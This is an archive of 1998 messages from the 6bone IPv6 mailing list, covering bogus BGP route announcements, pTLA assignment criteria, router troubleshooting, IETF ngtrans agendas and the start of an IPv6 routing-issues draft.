  1225 1275 1717 786 1849 3582 3274 5539 1273 1835 1103 1891 1718  
  1225 1275 1717 1835 1849 5609 2839 1103 1891 1718  
  1673 1225 109 1849 1835 1103 1891 1718  
  1225 48 109 786 1849 3582 1103 1891 1718  
  1225 1275 1717 786 1849 5609 2839 1835 1103 1891 1718  
  1225 1275 1717 1835 1849 3582 293 1103 1891 1718  
  1673 109 1225 48 5609 2839 1835 1849 1103 1891 1718 2607  
  1673 109 786 1849 3582 1225 1103 1891 1718  
  1225 1849 3582 3274 1103 1891 1718  
  1673 1225 109 786 1849 5539 1273 1835 1103 1891 1718  
  ...Truncated...


------- End of Forwarded Message


-- 
Craig Labovitz				labovit@merit.edu
Merit Network, Inc.			http://www.merit.edu/~labovit
4251 Plymouth  Road, Suite C.		(313) 764-0252 (office)
Ann Arbor, MI 48105-2785                (313) 647-3185 (fax)



From 6bone-owner  Thu Mar 12 10:10:58 1998
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Date: Thu, 12 Mar 1998 10:10:22 -0800 (PST)
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From: Pedro Marques <roque@cisco.com>
To: 6bone@ISI.EDU
Subject: as 5609
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FYI: cisco is blocking all annoucements originating from as 5609 as
this site is originating dozens of bogus routes.

  Pedro.

From 6bone-owner  Thu Mar 12 18:18:31 1998
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Date: Fri, 13 Mar 1998 04:17:25 +0200
From: Yiorgos Adamopoulos <Y.Adamopoulos@noc.ntua.gr>
To: 6bone@ISI.EDU
Cc: ktroulos@noc.ntua.gr
Subject: assignment of pTLA ?
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Hi all,

[ newbie mode on ... ]

Maybe it's the local time ( Fri Mar 13 04:14:56 EET 1998 ;-) but although
I've been through the 6bone.net contents, I cannot seem able to identify a
document that defines how to ask for a pTLA (if this is possible).

I'd be glad for any pointers, even flames.

TIA,

--
Yiorgos Adamopoulos               -- #include <std/disclaimer.h>
mailto: Y.Adamopoulos@noc.ntua.gr -- Network Operations Center, NTUA, GREECE


From 6bone-owner  Fri Mar 13 07:19:04 1998
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Date: Fri, 13 Mar 1998 07:18:43 -0800
To: Y.Adamopoulos@noc.ntua.gr, 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: Re: assignment of pTLA ?
Cc: ktroulos@noc.ntua.gr
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Yiorgos,

At 04:17 AM 3/13/98 +0200, Yiorgos Adamopoulos wrote:
>Hi all,
>
>[ newbie mode on ... ]
>
>Maybe it's the local time ( Fri Mar 13 04:14:56 EET 1998 ;-) but although
>I've been through the 6bone.net contents, I cannot seem able to identify a
>document that defines how to ask for a pTLA (if this is possible).
>
>I'd be glad for any pointers, even flames.

The nominal place to look is:

	http://www.6bone.net/6bone_hookup.html

but I'll be the first to admit (and I wrote it) that it is not up to date,
nor clear enough.  I will attempt a cleanup soon.

Meanwhile, I'm enclosing the recent email on pTLAs that I sent to the 6bone
list.  If you have any questions after reading it, please get in direct
email contact with me so the list doesn't have to read it.


Thanks,

Bob

===
6bone Folk,

I am increasingly finding myself in the dilemma of being asked to assign a
pTLA, and then having to decide what is/is not appropriate.  This email is
my attempt to get exposure of the issues and help in deciding an
appropriate course of action in assigning pTLAs.

Let me start by saying that the creation of pTLAs is getting
morecontentious as some believe that we should not create them so easily.
I'm also sure that all of us believe that we must start forging the 6bone
backbone into a reliable transport for ipv6 use and testing.

Having said that we (at least me) need to have some criteria for assigning
pTLAs.  I'll see if I can characterize the criteria I have been using lately.

1. Must have experience with IPv6 in the 6bone, at least as a leaf site and
preferably as an NLA transit under a pTLA.

2. Must have the ability and intent to provide "production-like" 6bone
backbone service to provide a robust and operationally reliable 6bone
backbone.

3. Must have a potential "user community" that would be served by becoming
a pTLA, e.g., the requester is a major player in a region, country or focus
of interest.

4. Must commit to abide by whatever the 6bone backbone operational rules
and policies are (currently there are no formal ones, but the Alain Durand
draft is a start in trying to define some).


To date, when I've explained the above (admittedly not so formally stated
as above) there is typically one of two results. The first is that the
requester goes away and studies more, becomes a leaf site, or forgets the
6bone, etc., that is basically doesn't persist in asking for a pTLA.  The
second is that the requester comes back with strong statements of why it is
important to them, stating that they still want a pTLA assigned.  In the
latter cases I will assign a pTLA (after all, I'm no absolute authority on
any of this).



So, having said all this, I would like to propose a change to this process.
In particular I would like to publish the request along with the

requester's response to the above criteria, and get feedback from the 6bone
mail list (not just the other pTLAs). Then I would make the final call
based on what I think approximates "rough consensus".  

To this end I am enclosing a request for a pTLA from British Telecom Labs
(BT-LABS) and their response to these questions.  I would like responses to
the list on both the process I propose and the BT-LABS request iteself.


Thanks,

Bob

======================
From: Stuart Prevost <stuart.prevost@bt-sys.bt.co.uk> 
To: "'Bob Fink
LBNL'" <RLFink@lbl.gov> 
Subject: Request for pTLA for BT LABS/UK 
Date:
Mon, 2 Feb 1998 15:53:45 -0000 

Dear Bob,

I am writing to request a pTLA on the 6bone, as you know we have been a 
leaf site for a year now. During this time we have gain valuable 
experience in IPv6, and have developed a large site here in the UK. We 
use Cisco routers which currently connect to NRL using BGP4+, in 
becoming a backbone site we feel that we can gain additional experience 
to the benefit of the IPv6 community. 

BT LABS has also formed links to Telenor R&D in Norway. As part of this 
work both companies have a research interest in IPv6. As part of this 
collaboration we plan to create a native IPv6 link to them using the 
JAMES ATM network. I also understand from Tony Dann who attends the 
IETF meetings this will help in the plans to build a Native IPv6 network 
this year.

If you require any additional information before issuing a pTLA please 
let me know.

Regards

Stuart

===
From: Stuart Prevost <stuart.prevost@bt-sys.bt.co.uk> 
To: "'Bob Fink'"
<rlfink@lbl.gov> 
Cc: Tony Dann <tony.dann@bt-sys.bt.co.uk> 
Subject: RE:
Request for pTLA for BT LABS/UK 
Date: Wed, 4 Feb 1998 10:23:12 -0000 

Dear Bob,

Thanks for your response, we don't mind being a test case in helping to 
resolve the issues of criteria for backbone sites. We agree that the 
6bone backbone should evolve into an appropriate infrastructure for true 
IPv6 evaluation. Therefore the response to your criteria for pTLA 
assignment is as follows.

>>1. Must have experience with IPv6 in the 6bone, at least as a leaf site and 
>preferably as an NLA transit under a pTLA.

BT LABS has been a participating in the 6bone global experiment since 
January 1997. In that time we have acted as a leaf site from NRL and 
most recently as a NLA transit site providing connectivity to the 6bone 
for Telenor R&D.

>>2. Must have the ability and intent to provide "production-like" 6bone 
>>backbone service to provide a robust and operationally reliable 6bone 
>>backbone.

BT LABS is the research arm of BT plc, which already has an ISP business 
division. We therefore have the skills to provide a "production like" 
service. We understand the value of the 6bone experiment and intend to 
actively participate in all initiatives which act to increase 
understanding of future IPv6 service issues.

>>3. Must have a potential "user community" that would be served by becoming 
>>a pTLA, e.g., the requestor is a major player in a region, country or focus 
>>of interest.

BT is a major player in Europe and therefore has a large potential user 
community.

>>4. Must commit to abide by whatever the 6bone backbone operational rules 
>>and policies are (currently there are no formal ones, but the Alain Duran 
>draft is a start in trying to define some).

We fully commit to this and welcome progress with Alain Durand draft.
Hope these answers are appropriate and we have no problem with you 
publishing this request to the list. We hope that by starting this off 
that your task will be made easier when assigning pTLA.

Regards,

Stuart

=======from the 6bone registry

ipv6-site:         BT-LABS

origin:            AS1752
descr:             Martlesham Heath
descr:             Suffolk
location:          52 03 52 N 01 17 16 E 0m
country:           GB
prefix:            3FFE:F01:2::/48
application:       ping gate.ipv6.bt.net
tunnel:            IPv6 in IPv4 gate.ipv6.bt.net -> guar.ipv6.nrl.navy.mil
NRL BGP4+
tunnel:            IPv6 in IPv4 gate.ipv6.bt.net -> gate6.lancs.ac.uk ULANC
STATIC
tunnel:            IPv6 in IPv4 gate.ipv6.bt.net -> mbone-eir.nta.no
TELENOR STATIC
contact:           SP1-6BONE
remarks:           Experimental IPv6 evaluation network
remarks:           DNS operational for forward and reverse zones
remarks:           Primary DNS dns.ipv6.bt.net
remarks:           Reverse (.2.0.0.0.0.1.0.F.E.F.F.3.IP6.INT)
remarks:           ipv6-site is operational since 30-Jan-97
changed:           stuart.prevost@bt-sys.bt.co.uk 19971030
source:            6BONE

-end


From 6bone-owner  Fri Mar 13 07:37:24 1998
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Date: Fri, 13 Mar 1998 16:25:46 +0100
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: RE: as 5609
To: "'Pedro Marques'" <roque@cisco.com>
Cc: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
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Hi Pedro,

I am trying to access the 6Bone backbone using a cisco
4700 together with a Telebit TBC2000 (is there anyone who
is testing the same configuration? :-)).
For this reason I have established an iBGP peering between 
the two routers and each one is terminating some of the CSELT's
backbone tunnels.
Yesterday I configured the Telebit router to start advertising the BGP4+
routes towards the whole 6Bone in addition to the CSELT's
prefix (3ffe:1000::/24) while the day before I was using only the cisco
router for that purpose.
According to your e-mail it is likely that something is going wrong
in the interoperability between the cisco router and the Telebit one.
For this reason I have reconfigured both the routers to stop advertising
BGP4+
routes towards th whole 6Bone and currently they are advertising only
the CSELT IPv6 prefix.
I will keep this configuration until I will be able to understand the
cause
of the problem you observed.

It would be of great help if you could give me more details about the
bogus routes you observed yesterday.

    Thank you

      Ivano

> ----------
> From: 	Pedro Marques[SMTP:roque@cisco.com]
> Sent: 	giovedì 12 marzo 1998 20.10
> To: 	6bone@ISI.EDU
> Subject: 	as 5609
> 
> 
> FYI: cisco is blocking all annoucements originating from as 5609 as
> this site is originating dozens of bogus routes.
> 
>   Pedro.
> 

From 6bone-owner  Fri Mar 13 09:28:49 1998
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Date: Fri, 13 Mar 1998 09:28:13 -0800 (PST)
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From: Pedro Marques <roque@cisco.com>
To: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Cc: "'6bone@ISI.EDU'" <6bone@ISI.EDU>
Subject: RE: as 5609
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>>>>> "Guardini" == Guardini Ivano <Ivano.Guardini@CSELT.IT> writes:

    Guardini> Hi Pedro, I am trying to access the 6Bone backbone using
    Guardini> a cisco 4700 together with a Telebit TBC2000 (is there
    Guardini> anyone who is testing the same configuration? :-)).
    Guardini>  For this reason I have established an iBGP peering between
    Guardini> the two routers and each one is terminating some of the
    Guardini> CSELT's backbone tunnels.  Yesterday I configured the
    Guardini> Telebit router to start advertising the BGP4+ routes
    Guardini> towards the whole 6Bone in addition to the CSELT's
    Guardini> prefix (3ffe:1000::/24) 

It seems that you are falling into the same problem that JOIN is/was
having sometime ago (i still filter their as to deny everything but
their prefix so i'm not sure if it is fixed): routes withdrawn by their
originators being advertised back as sourced from your AS. I'd suggest
you contact telebit and ask for a fix.

    Guardini> while the day before I was using
    Guardini> only the cisco router for that purpose.  According to
    Guardini> your e-mail it is likely that something is going wrong
    Guardini> in the interoperability between the cisco router and the
    Guardini> Telebit one.

It is not a question of interoperability... the rest of the world receives
the annoucements just fine. It is just that those annoucements should not
have been originated in the first place.

Another topic:

~> whois as5609
SHEVAT, ALLON (AS5609)          ashevat@NETVISION.NET.IL
   GROWTH RESOURCES INSTITUTE
   2 KAUFMAN STREET
   TEL AVIV,
   IL
   972 9 7447837

Are you sure you own this as # ?

  Pedro.

From 6bone-owner  Sat Mar 14 00:20:59 1998
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Date: Sat, 14 Mar 1998 16:21:19 +0800
From: Albert K T Hui <avatar@deva.net>
To: Pedro Marques <roque@cisco.com>, Guardini Ivano <Ivano.Guardini@CSELT.IT>
Cc: "6bone@ISI.EDU" <6bone@ISI.EDU>
Subject: Re: as 5609
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On Fri, Mar 13, 1998 at 09:28:13AM -0800, Pedro Marques wrote:
> ~> whois as5609
> SHEVAT, ALLON (AS5609)          ashevat@NETVISION.NET.IL
>    GROWTH RESOURCES INSTITUTE
>    2 KAUFMAN STREET
>    TEL AVIV,
>    IL
>    972 9 7447837
> Are you sure you own this as # ?

Isn't that just a contact handle that happens to be called "AS5609"?
arin.net has taken over the ASNs registration:

~% whois -h whois.arin.net 5609

European Regional Internet Registry/RIPE NCC (ASN-RIPE-ASNBLOCK5-ASNBLOCK)
   These ASNs have been further assigned to European users.
   Their contact information can be found in the RIPE database.
   See below how to use that database to obtain up-to-date information.

   Autonomous System Name: RIPE-ASNBLOCK5
   Autonomous System Block: 5377 - 5631

   Coordinator:
      RIPE Network Coordination Centre  (RIPE-NCC-ARIN)  ops@ripe.net
      http://www.ripe.net/

   Record last updated on 17-Jun-96.
   Database last updated on 12-Mar-98 16:08:47 EDT.

The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN's, and related POC's.
Please use the whois server at rs.internic.net for DOMAIN related
Information and nic.ddn.mil for MILNET Information.

~% whois -h whois.ripe.net as5609

% Rights restricted by copyright. See http://www.ripe.net/db/dbcopyright.html

aut-num:     AS5609
as-name:     AS-CSELT
descr:       CSELT S.p.A. is a Research Center for the study, research,
descr:       experimentation and qualification for telecommunications
descr:       and information technology.
as-in:       from AS3269 100 accept ANY
as-in:       from AS5456 80 accept AS-GARR AS3230
as-in:       from AS5455 90 accept AS-GARR AS3230
as-in:       from AS2593 70 accept AS2593
as-out:      to AS3269 announce AS-CSELT
as-out:      to AS5456 announce AS-CSELT
as-out:      to AS5455 announce AS-CSELT
as-out:      to AS2593 announce AS-CSELT
admin-c:     SG73-RIPE
tech-c:      SG73-RIPE
notify:      cgiadmin@vpd.dcb.interbusiness.it
mnt-by:      INTERB-MNT
changed:     hostmaster@ripe.net 960424
source:      RIPE

person:      Sergio Galliano
address:     CSELT S.p.A.
address:     Via Reiss Romoli 274
address:     Torino
address:     10148 - ITALY
phone:       +39 11 2285364
fax-no:      +39 11 2287185
e-mail:      Sergio.Galliano@cselt.stet.it
nic-hdl:     SG73-RIPE
changed:     hostmaster@ripe.net 960424
source:      RIPE

-- 
Albert K T Hui                                               _|      _O_
http://avatar.deva.net/                                     / |vatar  |
3ffe:c00:8008::/48    willing to add tunnels and delegate address spaces

From 6bone-owner  Sat Mar 14 00:29:30 1998
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From: Pedro Marques <roque@cisco.com>
To: Albert K T Hui <avatar@deva.net>
Cc: Guardini Ivano <Ivano.Guardini@CSELT.IT>, "6bone@ISI.EDU" <6bone@ISI.EDU>
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>>>>> "Albert" == Albert K T Hui <avatar@deva.net> writes:

    Albert> On Fri, Mar 13, 1998 at 09:28:13AM -0800, Pedro Marques
    Albert> wrote:
    >> ~> whois as5609 SHEVAT, ALLON (AS5609) ashevat@NETVISION.NET.IL
    >> GROWTH RESOURCES INSTITUTE 2 KAUFMAN STREET TEL AVIV, IL 972 9
    >> 7447837 Are you sure you own this as # ?

    Albert> Isn't that just a contact handle that happens to be called
    Albert> "AS5609"?  arin.net has taken over the ASNs registration:

Yes... never mind. Next time i'll try reading the output of the query
for a change.

Sorry for the confusion...

  Pedro.

From 6bone-owner  Mon Mar 16 01:43:06 1998
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>     Guardini> Hi Pedro, I am trying to access the 6Bone backbone using
>     Guardini> a cisco 4700 together with a Telebit TBC2000 (is there
>     Guardini> anyone who is testing the same configuration? :-)).
>     Guardini>  For this reason I have established an iBGP peering between
>     Guardini> the two routers and each one is terminating some of the
>     Guardini> CSELT's backbone tunnels.  Yesterday I configured the
>     Guardini> Telebit router to start advertising the BGP4+ routes
>     Guardini> towards the whole 6Bone in addition to the CSELT's
>     Guardini> prefix (3ffe:1000::/24) 
> 
> It seems that you are falling into the same problem that JOIN is/was
> having sometime ago (i still filter their as to deny everything but
> their prefix so i'm not sure if it is fixed): routes withdrawn by their
> originators being advertised back as sourced from your AS. I'd suggest
> you contact telebit and ask for a fix.

This seems familiar to me. We had similar problems with a TBC2000 and
received a fix from Telebit. We use the following software versions
and haven't had any problems since.

% show profile
profile define basic+atm 19971020
profile swpack swtbc103 2.2a3 /paxnet/swtbc103/rel2v2
profile swpack swlic 2.2 /paxnet/swlic/rel2v2
profile swpack swidte 1.1a3 /paxnet/swidte/rel1v1a3
profile swpack swpoolm 1.0 /paxnet/swpoolm/rel1v0
profile swpack swnames 3.5a14 /paxnet/swnames/rel3v5a14
profile swpack swlan 4.0a4 /paxnet/swlan/rel4v0a4
profile swpack swatm 2.3a1 /paxnet/swatm/rel2v3a1
profile swpack swmars 2.1 /paxnet/swmars/rel2v1
profile swpack swppp 3.3 /paxnet/swppp/rel3v3
profile swpack swudp 2.0a1 /paxnet/swudp/rel2v0
profile swpack swip 7.3a1 /paxnet/swip/rel7v3a1
profile swpack swftp 1.6 /paxnet/swftp/rel1v6
profile swpack swsnmp 1.10a1 /paxnet/swsnmp/rel1v10a1
profile swpack swtelnet 1.2 /paxnet/swtelnet/rel1v2
profile swpack swpaxtcl 2.2 /paxnet/swpaxtcl/rel2v2
profile swpack swptcnf 2.2 /paxnet/swptcnf/rel2v2

/Lalle

From 6bone-owner  Wed Mar 18 04:12:54 1998
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Hi all,

I'm going to the CeBit on saturday, does anyone know a good place on the
Cebit where I can listen to some presentations on the subject of IPv6 ?
I myself are writing an essay about the subject, and want to learn more
on the subject, both the business side and the technical side of the
story.

Can someone give me some advice concerning where to look on the CeBit ?

Thanks in advance,

Mike.
-- 
Mike Crawfurd                          Telephone. (+31) 10 253 7000
CMG Advanced Technologies Industries   Telefax.   (+31) 10 253 7033
Kralingseweg 241, 3062 CE Rotterdam    Mobile.    (+31) 65 534 7574
The Netherlands                        Email.     mike.crawfurd@cmg.nl

From 6bone-owner  Wed Mar 18 05:43:24 1998
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From: "Adrian M. Estala" <estala@antares.enst-bretagne.fr>
To: IPv6 Mailing List <6bone@ISI.EDU>
Subject: Linux/IPv6
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Trying to get my Linux PC to run IPv6.  Already loaded net-tools 1.432, a
new kernal 2.1.87, and the latest inet-6-apps.  I've got a local router on
the 6Bone, but I can't seem to get the linux machine up.  Is there a
linux/IPv6 mailing list I can jump on?

adrian



From 6bone-owner  Wed Mar 18 23:16:58 1998
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From: Albert K T Hui <avatar@deva.net>
To: "Adrian M. Estala" <estala@antares.enst-bretagne.fr>,
        IPv6 Mailing List <6bone@ISI.EDU>
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In-Reply-To: <Pine.GSO.3.95.980318143243.13966H-100000@aspin.enst-bretagne.fr>; from Adrian M. Estala on Wed, Mar 18, 1998 at 02:41:32PM +0100
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On Wed, Mar 18, 1998 at 02:41:32PM +0100, Adrian M. Estala wrote:
> Trying to get my Linux PC to run IPv6.  Already loaded net-tools 1.432, a
> new kernal 2.1.87, and the latest inet-6-apps.  I've got a local router on
> the 6Bone, but I can't seem to get the linux machine up.  Is there a
> linux/IPv6 mailing list I can jump on?

http://www.wcug.wwu.edu/lists/netdev

-- 
Albert K T Hui                                               _|      _O_
http://avatar.deva.net/                                     / |vatar  |
3ffe:c00:8008::/48    willing to add tunnels and delegate address spaces

From 6bone-owner  Thu Mar 19 03:38:32 1998
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From: Reinhard_Besemer@BayNetworks.COM (Reinhard Besemer)
Subject: Re: CeBit
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Hi Mike,

if you're at the CeBit don't miss to visit Bay Networks (in HALLE 11,
Stand D64)
Our company is one of the largest internet equipment provider. We have
IPv6 implemented into our router software (BayRS Version 12.0) and I'm
sure you will get valuable information there.

Best regards
Reinhard Besemer
At 13:11 18.03.98 +0100, Mike Crawfurd wrote...
>Hi all,
>
>I'm going to the CeBit on saturday, does anyone know a good place on
the
>Cebit where I can listen to some presentations on the subject of IPv6
?
>I myself are writing an essay about the subject, and want to learn
more
>on the subject, both the business side and the technical side of the
>story.
>
>Can someone give me some advice concerning where to look on the CeBit
?
>
>Thanks in advance,
>
>Mike.
>-- 
>Mike Crawfurd                          Telephone. (+31) 10 253 7000
>CMG Advanced Technologies Industries   Telefax.   (+31) 10 253 7033
>Kralingseweg 241, 3062 CE Rotterdam    Mobile.    (+31) 65 534 7574
>The Netherlands                        Email.
mike.crawfurd@cmg.nl
>

$ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ 
Reinhard Besemer             Bay Networks Educational Services EMEA
    
Teamleader Middle EMEA       Phone:  +49 711 1394 352
Mittlerer Pfad 26            Fax:    +49 711 1394 330
D-70499 Stuttgart            E-Mail: rbesemer@baynetworks.com 
Germany                      URL:    http://www.baynetworks.com
$ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ $ 

From 6bone-owner  Thu Mar 19 07:37:59 1998
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Date: Thu, 19 Mar 1998 07:37:03 -0800
To: ngtrans@sunroof.eng.sun.com, 6bone@ISI.EDU
From: Bob Fink <rlfink@lbl.gov>
Subject: draft ngtrans/6bone agenda of 19Mar98
Cc: Tony Hain <tonyhain@microsoft.com>, Bob Gilligan <gilligan@freegate.net>,
        rlfink@lbl.gov
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ngtrans/6bone folk,

I have to submit this agenda next week so you have just one more chance to
add to the agenda.  Please send to me/Tony/Bob directly (cc the lists if
you want).

Don't worry about times mentioned, we will juggle that as necessary and
hold lunchtime meetings for longer topics not able to be finished.


Thanks,

Bob

==================================
NGTRANS WG Agenda (both tools and 6bone)


ngtrans tools

	NNAT I-D- Jim Bound - 15 mins

	NAT-PT I-D- George Tsirtsis & Pyda Srisuresh - 10-15 mins

	O'Dell tunnelling ideas - 15 mins



6bone stuff

	6bone Status report - Bob Fink - 5 mins

	6bone routing issues I-D - Alain Durand - 15 mins

	6bone routing reports and related issues - Masaki Hirabaru - 15 mins

	Multihomed routing domain issues for IPv6 aggregatable scheme I-D- Francis
Dupont - 15 mins>I have a bad conflict on Tuesday, as I have

	6bone transit through CAIRN - Allison Mankin - 10 mins

	IPSEC proposition - Allison Mankin - 15 mins

	Win-NT IPv6 public source - Allison Mankin - 5 mins

	pTLA asignment rules - Bob Fink - 10 mins

	steps to clean up the backbone - Bob Fink - 10 mins

	tools to help clean up the backbone - Ivano Guardini - 10 mins


====================
TUESDAY, March 31, 1998 

1300-1400 Afternoon Sessions I 

INT ip1394 IP Over IEEE 1394 WG 
OPS ngtrans Next Generation Transition WG <<<<<<<<<<<< 
TSV tcpsat TCP Over Satellite WG 
USV run Responsible Use of the Network WG 

1415-1515 Afternoon Sessions II 

INT ip1394 IP Over IEEE 1394 WG 
OPS ngtrans Next Generation Transition WG <<<<<<<<<<<< 
SEC spki Simple Public Key Infrastructure WG 
TSV tcpsat TCP Over Satellite WG 

==============
Other IPv6 activities

MONDAY, March 30, 1998 

1930-2200 Evening Sessions 

        INT     ipngwg      IP Next Generation WG   <<<<<<<<<<<<
        RTG    mpls         Multiprotocol Label Switching WG 


WEDNESDAY, April 1

1300-1500 Afternoon Session

Alternatives to Address Translation on Networks BOF (AATN)
(opposite ipp, schema, mboned, vrrp, pint)


THURSDAY, April 2, 1998 

0900-1130 Morning Sessions 

        INT     ipngwg     IP Next Generation WG   <<<<<<<<<<<<
        OPS    entmib      Entity MIB WG 
        SEC    pkix          Public-Key Infrastructure (X.509) WG 
        TSV    rtfm          Realtime Traffic Flow Measurement WG 


=====================================
Cutoff Dates - 41st IETF Meeting - Los Angeles, CA

March 9 - Working Group scheduling closes at 1700 ET    <<<<<CLOSED
March 13 - Internet Draft submission cutoff date at 1700 ET     <<<<<CLOSED
March 20 - Pre-Registration Payment cutoff date at 1200 ET 
March 25 - Pre-Registration cutoff date at 1200 ET 
March 25 - Working Group agendas due date by 1200 ET 
March 25 - Registration Cancellations cutoff date by 1800 ET 

All times are in US Eastern Time 


-end














From 6bone-owner  Thu Mar 19 23:08:01 1998
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To: Bob Fink <rlfink@lbl.gov>, Tony Hain <tonyhain@microsoft.com>,
        Bob Gilligan <gilligan@freegate.net>
cc: ngtrans@sunroof.eng.sun.com, 6bone@ISI.EDU
cc: v6@wide.ad.jp
In-reply-to: itojun's message of Fri, 20 Mar 1998 10:53:24 JST.
      <7190.890358804@coconut.itojun.org> 
X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD  90 5F B4 60 79 54 16 E2
Subject: Re: (v6 2438) sendmail6 
From: Jun-ichiro itojun Itoh <itojun@itojun.org>
Date: Fri, 20 Mar 1998 16:07:44 +0900
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>I have to submit this agenda next week so you have just one more chance to
>add to the agenda.  Please send to me/Tony/Bob directly (cc the lists if
>you want).

	Hello, this is Jun-ichiro Itoh of WIDE project.
	Sorry for late contact, but we (WIDE project) would like to
	submit an item to be added to the ngtrans meeting agenda.
	Please contact v6@wide.ad.jp (our mailing list) for more info.
	Thanks for your help,

itojun


---
Title: SMTP issues in IPv4/v6 environment
Time: 5min
Speaker: a guy from WIDE project
	Kazuhiko Yamamoto (kazu@wide.ad.jp) or Jun-ichiro Itoh
	(itojun@wide.ad.jp) will be speaking.
Abstract:
	Some of the old software (DNS resolver or MTA) may not be happy
	with "IN AAAA" DNS record registered for MX host.
	We've performed a public experiment on this issue, by asking people
	to send email to two IPv4/v6 MTA hosts with different DNS record
	setups.  The results and will be shown.

From 6bone-owner  Wed Mar 25 07:19:49 1998
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To: 6bone@ISI.EDU, ngtrans@sunroof.eng.sun.com
From: Bob Fink <rlfink@lbl.gov> (by way of Bob Fink <rlfink@lbl.gov>)
Subject: ngtrans agenda for IETF in LA as submitted on 25Mar98
Cc: rlfink@lbl.gov
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NGTRANS WG Agenda (both tools and 6bone)

TUESDAY, March 31, 1998  1300-1515

Chairs: Bob Fink, Bob Gilligan, Tony Hain


ngtrans tools

	NNAT I-D- Jim Bound - 15 mins

	NAT-PT I-D- George Tsirtsis & Pyda Srisuresh - 15 mins

	O'Dell tunnelling ideas - 15 mins


6bone stuff

	6bone Status report - Bob Fink - 5 mins

	6bone routing issues I-D - Alain Durand - 15 mins

	6bone routing reports and related issues - Masaki Hirabaru - 15 mins

	Multihomed routing domain issues for IPv6 aggregatable scheme I-D -
Francis Dupont - 15 mins

	6bone transit through CAIRN - Allison Mankin - 10 mins

	IPSEC proposition - Allison Mankin - 5 mins

	Win-NT IPv6 public source - Richard Draves - 5 mins

	pTLA asignment rules - Bob Fink - 5 mins

	steps to clean up the backbone - Bob Fink - 5 mins

	tools to help clean up the backbone - Ivano Guardini - 10 mins

====================
TUESDAY, March 31, 1998 

1300-1400 Afternoon Sessions I 

INT ip1394 IP Over IEEE 1394 WG 
OPS ngtrans Next Generation Transition WG <<<<<<<<<<<< 
TSV tcpsat TCP Over Satellite WG 
USV run Responsible Use of the Network WG 

1415-1515 Afternoon Sessions II 

INT ip1394 IP Over IEEE 1394 WG 
OPS ngtrans Next Generation Transition WG <<<<<<<<<<<< 
SEC spki Simple Public Key Infrastructure WG 
TSV tcpsat TCP Over Satellite WG 

==============
Other IPv6 activities

MONDAY, March 30, 1998 

1930-2200 Evening Sessions 

        INT     ipngwg      IP Next Generation WG   <<<<<<<<<<<<
        RTG    mpls         Multiprotocol Label Switching WG 


WEDNESDAY, April 1

1300-1500 Afternoon Session

Alternatives to Address Translation on Networks BOF (AATN)
(opposite ipp, schema, mboned, vrrp, pint)


THURSDAY, April 2, 1998 

0900-1130 Morning Sessions 

        INT     ipngwg     IP Next Generation WG   <<<<<<<<<<<<
        OPS    entmib      Entity MIB WG 
        SEC    pkix          Public-Key Infrastructure (X.509) WG 
        TSV    rtfm          Realtime Traffic Flow Measurement WG 

-end


From 6bone-owner  Sun Mar 29 14:20:42 1998
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Date: Sun, 29 Mar 1998 22:23:15 GMT
Message-Id: <199803292223.WAA07393@nitehawk.premier1.net>
subject: 6Bone Tunnel(s)
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I'm looking for a host or hosts that will provide IPv4 to IPv6 tunnels for a dialup
machine (static IP) and a corporate network (~3 internal nodes to start).  Geographically
I am a short distance north of Seattle, Washington.  Connectivity wise, I am closest to the
IXA transport link and NWNET.  However, from the registry information it doesn't look like IXA
has upgraded to the new address format.  I still have not got a reply from NWNET.

If anyone can provide me with some address space and a couple tunnels, I would be very happy.
	Matthew Schlegel
		Systems Administrator,	Datalight, Inc.

From 6bone-owner  Mon Mar 30 07:37:19 1998
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From: Francis Dupont <Francis.Dupont@inria.fr>
To: 6bone@ISI.EDU
Cc: ngtrans@sunroof.eng.sun.com
Subject: multihoming BOF
Date: Mon, 30 Mar 1998 17:35:59 +0200
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We have not enough time to discus multihomed multiprovider stuff
at the NGTRANS sessions and there are some conflicts with other
WG sessions (ie not everybody could come).
I propose a short BOF at lunch time before the NGTRANS session
Tuesday in the same room (Avalon which should be free) and
if possible before (ie close to 14h00 not 11h15).
The purpose is to get opinions/advices from ISPs because
proposed solutions have obviously strong not-technical constraints.
Documents are :
 RFC 2260: Scalable Support for Multi-homed Multi-provider Connectivity
 draft-ietf-ngtrans-6bone-multi-00.txt
Report (if we collect enough material) will be at the NGTRANS session
(cf the agenda).

Francis.Dupont@inria.fr

From 6bone-owner  Mon Mar 30 09:42:15 1998
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Date: Mon, 30 Mar 1998 19:41:50 +0200 (MET DST)
From: Alain Durand <Alain.Durand@imag.fr>
Message-Id: <199803301741.TAA31811@rama.imag.fr>
To: 6bone@ISI.EDU
Subject: new routing issue draft
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INTERNET-DRAFT                                   Alain Durand, IMAG
March 29, 1999                                Bertrand Buclin, AT&T
Expires September 30, 1998






                    IPv6 routing issues


       <draft-ietf-ngtrans-6bone-routing-issues-02.txt>




Status of this Memo
-------------------

   This document is an Internet Draft.  Internet Drafts are working
   documents of the Internet Engineering Task Force (IETF), its Areas,
   and its Working Groups.  Note that other groups may also distribute
   working documents as Internet Drafts.


   Internet Drafts are draft documents valid for a maximum of six
   months.  Internet Drafts may be updated, replaced, or obsoleted by
   other documents at any time.  It is not appropriate to use Internet
   Drafts as reference material or to cite them other than as a
   ``working draft'' or ``work in progress.''


   Please check the 1id-abstracts.txt listing contained in the internet-
   drafts Shadow Directories on nic.ddn.mil, nnsc.nsf.net,
   nic.nordu.net, ftp.nisc.sri.com, or munnari.oz.au to learn the
   current status of any Internet Draft.

   This draft expires September 30, 1998.



Introduction
------------

    Operation of the 6bone backbone is a challenge due to the
    frequent insertion of bogus routes by leaf or even backbone sites.

    This memo identifies some pathological cases and gives some
    guidelines on how 6bone sites should handle them. It defines the
    'best current practice' acceptable in the 6bone for the config-
    uration of both Interior Gateway Protocols (like RIPng) and
    Exterior Gateway Protocols (like BGP4+).

Basic principles
----------------

    The 6bone is structured as a hierarchical network with pseudo
    TLA (pTLA), pseudo NLA (pNLA) and leaf sites.
